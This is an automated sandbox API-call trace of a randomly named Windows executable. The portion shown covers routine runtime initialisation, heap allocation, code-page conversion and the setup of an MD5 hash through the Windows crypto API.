# Flog Txt Version 1
# Analyzer Version: 3.2.1
# Analyzer Build Date: Jan 15 2020 08:26:44
# Log Creation Date: 18.01.2020 11:03:09.662

Process:
	id = "1"
	image_name = "cuserspublicdhrqu.exe"
	filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cuserspublicdhrqu.exe"
	page_root = "0x36464000"
	os_pid = "0xb98"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "analysis_target"
	parent_id = "0"
	os_parent_pid = "0x444"
	cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CusersPublicDHrQU.exe\" "
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 1
	os_tid = 0x6d4

	[0048.486] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1cf998 | out: lpSystemTimeAsFileTime=0x1cf998*(dwLowDateTime=0xf90829f0, dwHighDateTime=0x1d5cdee)) 
	[0048.486] GetCurrentThreadId () returned 0x6d4
	[0048.486] GetCurrentProcessId () returned 0xb98
	[0048.486] QueryPerformanceCounter (in: lpPerformanceCount=0x1cf9a0 | out: lpPerformanceCount=0x1cf9a0*=19038957922) returned 1
	[0048.638] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0
	[0048.638] GetLastError () returned 0x57
	[0048.638] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x0) returned 0x7fef6760000
	[0048.654] GetProcAddress (hModule=0x7fef6760000, lpProcName="InitializeCriticalSectionEx") returned 0x0
	[0048.654] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0
	[0048.655] GetLastError () returned 0x57
	[0048.655] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x0) returned 0x0
	[0048.661] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0
	[0048.661] GetLastError () returned 0x57
	[0048.661] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76f20000
	[0048.661] GetProcAddress (hModule=0x76f20000, lpProcName="FlsAlloc") returned 0x76f37190
	[0048.661] GetProcAddress (hModule=0x76f20000, lpProcName="FlsSetValue") returned 0x76f3bd90
	[0048.662] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0
	[0048.662] GetLastError () returned 0x57
	[0048.662] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x0) returned 0x7fef6760000
	[0048.662] GetProcAddress (hModule=0x7fef6760000, lpProcName="InitializeCriticalSectionEx") returned 0x0
	[0048.663] GetProcessHeap () returned 0x240000
	[0048.663] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0
	[0048.663] GetLastError () returned 0x57
	[0048.663] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x0) returned 0x0
	[0048.664] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0
	[0048.664] GetLastError () returned 0x57
	[0048.664] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76f20000
	[0048.664] GetProcAddress (hModule=0x76f20000, lpProcName="FlsAlloc") returned 0x76f37190
	[0048.664] GetLastError () returned 0x57
	[0048.665] GetProcAddress (hModule=0x76f20000, lpProcName="FlsGetValue") returned 0x76f43520
	[0048.665] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x3c8) returned 0x257990
	[0048.665] GetProcAddress (hModule=0x76f20000, lpProcName="FlsSetValue") returned 0x76f3bd90
	[0048.665] SetLastError (dwErrCode=0x57) 
	[0048.665] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x1000) returned 0x257d60
	[0048.671] GetStartupInfoW (in: lpStartupInfo=0x1cf870 | out: lpStartupInfo=0x1cf870*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CusersPublicDHrQU.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x1)) 
	[0048.671] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0
	[0048.671] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0
	[0048.671] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0
	[0048.672] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CusersPublicDHrQU.exe\" "
	[0048.673] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CusersPublicDHrQU.exe\" "
	[0048.673] GetLastError () returned 0x57
	[0048.673] SetLastError (dwErrCode=0x57) 
	[0048.673] GetLastError () returned 0x57
	[0048.673] SetLastError (dwErrCode=0x57) 
	[0048.673] GetACP () returned 0x4e4
	[0048.673] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x228) returned 0x2575f0
	[0048.673] IsValidCodePage (CodePage=0x4e4) returned 1
	[0048.673] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x1cf840 | out: lpCPInfo=0x1cf840) returned 1
	[0048.674] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x1cf0e0 | out: lpCPInfo=0x1cf0e0) returned 1
	[0048.674] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x1cf100, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0048.674] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x1cf100, cbMultiByte=256, lpWideCharStr=0x1cee30, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȰ$") returned 256
	[0048.674] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȰ$", cchSrc=256, lpCharType=0x1cf400 | out: lpCharType=0x1cf400) returned 1
	[0048.674] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x1cf100, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0048.674] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x1cf100, cbMultiByte=256, lpWideCharStr=0x1cedd0, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256
	[0048.674] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0
	[0048.674] GetLastError () returned 0x57
	[0048.674] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x0) returned 0x0
	[0048.675] GetProcAddress (hModule=0x76f20000, lpProcName="LCMapStringEx") returned 0x76f6b710
	[0048.676] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256
	[0048.677] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x1cebc0, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌") returned 256
	[0048.677] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌", cchWideChar=256, lpMultiByteStr=0x1cf200, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x08", lpUsedDefaultChar=0x0) returned 256
	[0048.677] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x1cf100, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0048.677] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x1cf100, cbMultiByte=256, lpWideCharStr=0x1cedd0, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256
	[0048.677] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256
	[0048.677] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x1cebc0, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌") returned 256
	[0048.677] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌", cchWideChar=256, lpMultiByteStr=0x1cf300, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9fH\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02h\x02(\x02(\x02(\x02(\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x10\x02\x10\x02\x10\x02\x10\x02 \x02", lpUsedDefaultChar=0x0) returned 256
	[0048.678] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x100) returned 0x259d70
	[0048.678] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x13fd4e670, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CusersPublicDHrQU.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cuserspublicdhrqu.exe")) returned 0x3b
	[0048.678] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x88) returned 0x257380
	[0048.678] RtlInitializeSListHead (in: ListHead=0x13fd4e490 | out: ListHead=0x13fd4e490) 
	[0048.678] GetLastError () returned 0x0
	[0048.678] SetLastError (dwErrCode=0x0) 
	[0048.678] GetEnvironmentStringsW () returned 0x259e80*
	[0048.679] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa7c) returned 0x25a910
	[0048.679] FreeEnvironmentStringsW (penv=0x259e80) returned 1
	[0048.679] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x259e80
	[0048.679] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x3e) returned 0x259fb0
	[0048.679] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x6c) returned 0x25a000
	[0048.679] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x62) returned 0x25a080
	[0048.679] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x78) returned 0x25a0f0
	[0048.679] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x62) returned 0x25a170
	[0048.679] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2e) returned 0x2593e0
	[0048.679] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x48) returned 0x25a1e0
	[0048.680] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x28) returned 0x254030
	[0048.680] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x1a) returned 0x254060
	[0048.680] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4a) returned 0x25a230
	[0048.680] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x72) returned 0x25a290
	[0048.680] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x30) returned 0x259420
	[0048.680] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2e) returned 0x259460
	[0048.680] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x1c) returned 0x254090
	[0048.680] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xd2) returned 0x25a310
	[0048.680] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x7c) returned 0x25a3f0
	[0048.680] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x3a) returned 0x25a480
	[0048.680] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x90) returned 0x25a4d0
	[0048.680] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x24) returned 0x2540c0
	[0048.681] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x30) returned 0x2594a0
	[0048.681] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x36) returned 0x2594e0
	[0048.681] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x3c) returned 0x25a570
	[0048.681] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x52) returned 0x25a5c0
	[0048.681] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x3c) returned 0x25a620
	[0048.681] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x82) returned 0x25a670
	[0048.681] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2e) returned 0x259520
	[0048.681] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x1e) returned 0x2540f0
	[0048.681] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x259560
	[0048.681] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x54) returned 0x25a700
	[0048.681] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x52) returned 0x25a760
	[0048.681] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2a) returned 0x2595a0
	[0048.681] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x3c) returned 0x25a7c0
	[0048.681] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x54) returned 0x25a810
	[0048.681] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x24) returned 0x254120
	[0048.681] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x30) returned 0x2595e0
	[0048.681] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8c) returned 0x25a870
	[0048.682] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25a910 | out: hHeap=0x240000) returned 1
	[0048.682] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x1000) returned 0x25a910
	[0048.682] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x13fbf8104) returned 0x0
	[0048.683] GetStartupInfoW (in: lpStartupInfo=0x1cf900 | out: lpStartupInfo=0x1cf900*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CusersPublicDHrQU.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) 
	[0048.760] LoadLibraryA (lpLibFileName="Advapi32.dll") returned 0x7fefddc0000
	[0049.868] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptAcquireContextA") returned 0x7fefddc8180
	[0049.869] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptCreateHash") returned 0x7fefddcdad4
	[0049.869] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptHashData") returned 0x7fefddcdac0
	[0049.869] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptGetHashParam") returned 0x7fefddcdb20
	[0049.869] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDestroyHash") returned 0x7fefddcdb00
	[0049.870] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptReleaseContext") returned 0x7fefddcdd10
	[0049.870] CryptAcquireContextA (in: phProv=0x113bc8, szContainer=0x0, szProvider="Microsoft Base Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x113bc8*=0x25d3a0) returned 1
	[0050.307] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
